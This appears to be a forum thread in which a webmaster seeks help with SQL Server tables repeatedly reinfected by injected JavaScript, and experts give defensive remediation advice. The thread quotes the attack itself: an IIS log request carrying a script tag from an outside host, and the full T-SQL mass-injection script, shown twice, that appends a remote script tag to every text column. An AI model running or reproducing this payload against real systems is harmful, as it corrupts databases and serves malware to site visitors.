Help - Can't get rid of the malicious Code

morebeer wrote:

Quote: Originally Posted by I got the same problem, hundreds of SQL tables been infected with this malicious javascript code. But although closing the original injection leak and also having replaced all strings in all tables, my tables being infected again and again. I already checked all stored procedures but couldn't find anything suspicious. Any help how to get rid of this f* malware is highly appreciated!!!

It sounds as if you have left at least one door open.
You said you checked your stored procedures ... unless you are executing
dynamic sql statements in your procedures, the procedures are not the
problem. The problem may be the method you are using to call those stored
procedures.

Are you using dynamic sql to call them?
Bad:
cn.execute "yourprocedure '" & querystring_value & "'"

Or are you using parameters to pass your data values?
Good:
http://groups.google.com/group/micr...409dc1701?hl=en

Are you validating data before passing it to the stored procedures? At least
check it for malicious code before passing it to the procedures.

Are you encoding (Server.HTMLEncode) all data you retrieve from your
database before writing it to Response?

Frankly, all this advice is generic and can be found in every thread dealing
with this attack that has been posted in the past few weeks. Browse through
them and read what I have forgotten to mention in this post.


--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

"Bob Barrows [MVP]" wrote:

Quote: Originally Posted by You said you checked your stored procedures ... unless you are executing dynamic sql statements in your procedures, the procedures are not the problem.

Depends on what the symptoms are. If it's just that some of his records
contain JavaScript that, when displayed back on a page later, causes problems
for his users, then of course the SQL SP won't do a thing for him. It will
happily store HTML with JavaScript in a DB field if the field is large enough.

Quote: Originally Posted by Are you validating data before passing it to the stored procedures? At least check it for malicious code before passing it to the procedures.

So assuming no SP problems, per se, this is the likely answer. And this one
hasn't really been answered too much in the postings I have seen. Some
people *WANT* to allow HTML in their form fields, so the check for malicious
code is more difficult.

It's easy enough to construct a RegExp that will strip out all
<script>...</scriptcontent. But what do you do about something such as
<img src="xyz.jpg" onLoad="...a lot of JS code that performs some vicious
stuff...">
??? (Assuming you *wanted* to allow the <imgtags.)

The answer is surely still "RegExp", but now you probably need/want many
RegExp's and they are much more complex.

Probably the right answer is something like many forums use, where you can't
use HTML tags but instead must use the very limited set of forum tags (e.g.,
[b] in place of <band [img="...url..."] in place of <img>, etc.) that they
provide. Non of which will produce JavaScript in the result when displayed.

"morebeer" wrote:

Quote: Originally Posted by >I got the same problem, hundreds of SQL tables been infected with this malicious javascript code. But although closing the original injection leak and also having replaced all strings in all tables, my tables being infected again and again. I already checked all stored procedures but couldn't find anything suspicious. Any help how to get rid of this f* malware is highly appreciated!!!

Look in your infected database for users with db_owner role. Take it away
and assign db_datareader and/or individual object (table/view/procedure)
rights.

One of those users is being used in your connection string.


--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spammotel.comwrote:

Quote: Originally Posted by "morebeer" wrote: Quote: Originally Posted by I got the same problem, hundreds of SQL tables been infected with this malicious javascript code. But although closing the original injection leak and also having replaced all strings in all tables, my tables being infected again and again. I already checked all stored procedures but couldn't find anything suspicious. Any help how to get rid of this f* malware is highly appreciated!!! > Look in your infected database for users with db_owner role. Take it away and assign db_datareader and/or individual object (table/view/procedure) rights. > One of those users is being used in your connection string. > -- Dave Anderson > Unsolicited commercial email will be read at a cost of $500 per message. Use of this email address implies consent to these terms.

Well, what we did last night is cleaning the database and removed all
malicious code from every single table. Then copied all data to a
blank database and changed the DB user for this database. The ew user
is public db_owner, db_datareader and db_datawriter. An injection
check script was run again before the new DB went live and before any
connection was allowed again. The original injection leak was already
closed last week. Im lost now!..

morebeer wrote:

Quote: Originally Posted by On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spammotel.comwrote: Quote: Originally Posted by >"morebeer" wrote: Quote: Originally Posted by >>I got the same problem, hundreds of SQL tables been infected with >>this malicious javascript code. But although closing the original >>injection leak and also having replaced all strings in all tables, >>my tables >>being infected again and again. I already checked all stored >>procedures but couldn't find anything suspicious. Any help how to >>get >>rid of this f* malware is highly appreciated!!! >> >Look in your infected database for users with db_owner role. Take it >away and assign db_datareader and/or individual object >(table/view/procedure) rights. >> >One of those users is being used in your connection string. >>

Quote: Originally Posted by Well, what we did last night is cleaning the database and removed all malicious code from every single table. Then copied all data to a blank database and changed the DB user for this database. The ew user is public db_owner,

Why? Does your application need to perform actions that require db_owner
permissions? I would never assign that role to an account being used in an
application. You need to read the security section in BOL (SQL Books
Online).

Quote: Originally Posted by db_datareader and db_datawriter. An injection check script was run again before the new DB went live and before any connection was allowed again. The original injection leak was already closed last week. Im lost now!..

Why? Did the attack occur again? If so, then it is likely that your code has
more than one "injection leak".
Have you looked at your IIS logs to see if it contains entries similar to
what a poster in one of the earlier threads reported? Like this:
2008-07-10 03:47:40 GET /sr.asp
title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manuf=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script>
80 - 75.88.150.195



--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"

On 16 Jul., 13:17, "Bob Barrows [MVP]" <reb01...@NOyahoo.SPAMcom>
wrote:

Quote: Originally Posted by morebeer wrote: Quote: Originally Posted by On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spammotel.comwrote: Quote: Originally Posted by "morebeer" wrote: >I got the same problem, hundreds of SQL tables been infected with >this malicious javascript code. But although closing the original >injection leak and also having replaced all strings in all tables, >my tables >being infected again and again. I already checked all stored >procedures but couldn't find anything suspicious. Any help how to >get >rid of this f* malware is highly appreciated!!! > Quote: Originally Posted by Quote: Originally Posted by Look in your infected database for users with db_owner role. Take it away and assign db_datareader and/or individual object (table/view/procedure) rights. > Quote: Originally Posted by Quote: Originally Posted by One of those users is being used in your connection string. > Quote: Originally Posted by Well, what we did last night is cleaning the database and removed all malicious code from every single table. Then copied all data to a blank database and changed the DB user for this database. The ew user is public db_owner, > Why? Does your application need to perform actions that require db_owner permissions? I would never assign that role to an account being used in an application. You need to read the security section in BOL (SQL Books Online). > Quote: Originally Posted by db_datareader and db_datawriter. An injection check script was run again before the new DB went live and before any connection was allowed again. The original injection leak was already closed last week. Im lost now!.. > Why? Did the attack occur again? If so, then it is likely that your code has more than one "injection leak". Have you looked at your IIS logs to see if it contains entries similar to what a poster in one of the earlier threads reported? Like this: 2008-07-10 03:47:40 GET /sr.asp title=In%20My%20Next%20Life&artist=Terri%20Clark&type=%25&category=%25&manu*f=%25&status=av&column=title_asc<script%20src=http://www.xxxxx.mobi/ngg.js></script> 80 - 75.88.150.195 > -- Microsoft MVP - ASP/ASP.NET Please reply to the newsgroup. This email account is my spam trap so I don't check it very often. If you must reply off-line, then remove the "NO SPAM"- Zitierten Text ausblenden - > - Zitierten Text anzeigen -

Dear Bob, thx for your reply. I certainly checked all httplogs for the
malicious code and certainly did not find anything.However, if the
codes is sent via POST, it is not logged in httplogs.
Additionally, .NET's validateRequest does not allow passing tags
neither via GET nor by POST. I will pickup your recommendation
regarding db_owner permissions and try out. Maybe someone got an idea
how to check the system's SP for any manipulation (at least no new SP
has been created sonce DB server setup, but I can't check for change
date)..

Dear Bob,

Your advice by now seems to be very helpful.
However, if I run the SELECT(@S) statement I just get returned "1 row
affcted" and this doesn't tell me very much.. How interprete this
result? What happens if I run DELETE (@S) ?

Referring to the SP changedate, the DB runs on SQL Server 2000.That's
probably the reason why the 2 selects on sysobjects don't work...

"morebeer" wrote:

Quote: Originally Posted by Your advice by now seems to be very helpful. However, if I run the SELECT(@S) statement I just get returned "1 row affcted" and this doesn't tell me very much.. How interprete this result? What happens if I run DELETE (@S) ?

I think you are referring to the variable in the injection attempt, in which
case DELETE @S makes no sense. Does this?

DECLARE @N INT
SET @N = 1
DELETE @N

Trying DELETE on a VARCHAR(4000) is no different.


--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

bzw: Our malware replacement script looks quite similar to this one
below, and we're running it in loop, so that's the reason why I
suspect there's a SP inserting new malicious entries into the DB as I
can't explain this re-infection else...

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.j8j8hei.cn/k.js></script>''')FETCH NEXT FROM
Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

morebeer wrote:

Quote: Originally Posted by Dear Bob, > Your advice by now seems to be very helpful. However, if I run the SELECT(@S) statement I just get returned "1 row affcted"

Where did you see a "SELECT(@S)" statement?

Quote: Originally Posted by >and this doesn't tell me very much.. How interprete this result? What happens if I run DELETE (@S) ? > Referring to the SP changedate, the DB runs on SQL Server 2000.That's probably the reason why the 2 selects on sysobjects don't work...

I don't have time to go digging into BOL right now, but there is
definitely a way to get similar information from SQL 2000. If you can't
find it in BOL yourself, I suggest posting to a sqlserver group (IIRC it
involved querying syscomments ... or maybe one of the INFORMATION_SCHEMA
views)

--
Microsoft MVP -- ASP/ASP.NET
Please reply to the newsgroup. The email account listed in my From
header is my spam trap, so I don't check it very often. You will get a
quicker response by posting to the newsgroup.

"morebeer" wrote:

Quote: Originally Posted by bzw: Our malware replacement script looks quite similar to this one below, and we're running it in loop, so that's the reason why I suspect there's a SP inserting new malicious entries into the DB as I can't explain this re-infection else...

I don't know how many times you need to be told this, but you must remove
db_owner (and possibly db_datawriter) role from all users on that database.

Let's put it as simply as possible. The database cannot be corrupted if no
user has INSERT or UPDATE privileges.

Once you have established that, you will have stopped these injections. Your
next task is to restore only those privileges needed, on an object-by-object
basis.

There is nothing else I can say. If you refuse to stop updates, start
learning to enjoy the full restore.




--
Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use
of this email address implies consent to these terms.

morebeer wrote:

Quote: Originally Posted by bzw: Our malware replacement script looks quite similar to this one below, and we're running it in loop, so that's the reason why I suspect there's a SP inserting new malicious entries into the DB as I can't explain this re-infection else...

You're saying the sql statement is being inserted into your database
tables?

Quote: Originally Posted by > DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.j8j8hei.cn/k.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Well then, you are having the same problem as everyone else and you have
not closed the sql injection holes. Please scrutinize your code for any
instances where you are concatenating strings together into sql
statements and replace them with parameterized statements.

In the meantime, you might want to put some constraints on the database
character columns to prevent the insertion of this malicious code

--
Microsoft MVP -- ASP/ASP.NET
Please reply to the newsgroup. The email account listed in my From
header is my spam trap, so I don't check it very often. You will get a
quicker response by posting to the newsgroup.

Ok, final status update... We finally got rid of that f**** virus. We
were wondering how our websites still got infected althuogh we already
had installed proper request variable checks. The reason finally was
the errorlog class itself; whenever malicious code was posted, the
error class logged the malicious code and so it spreaded again thru
our database. This may help others who also wonder how injection is
till possible although request vars properly validated.

morebeer wrote:

Quote: Originally Posted by Ok, final status update... We finally got rid of that f**** virus. We were wondering how our websites still got infected althuogh we already had installed proper request variable checks. The reason finally was the errorlog class itself; whenever malicious code was posted, the error class logged the malicious code and so it spreaded again thru our database. This may help others who also wonder how injection is till possible although request vars properly validated.

Thanks for the update. Hopefully it will help someone.
--
Microsoft MVP - ASP/ASP.NET
Please reply to the newsgroup. This email account is my spam trap so I
don't check it very often. If you must reply off-line, then remove the
"NO SPAM"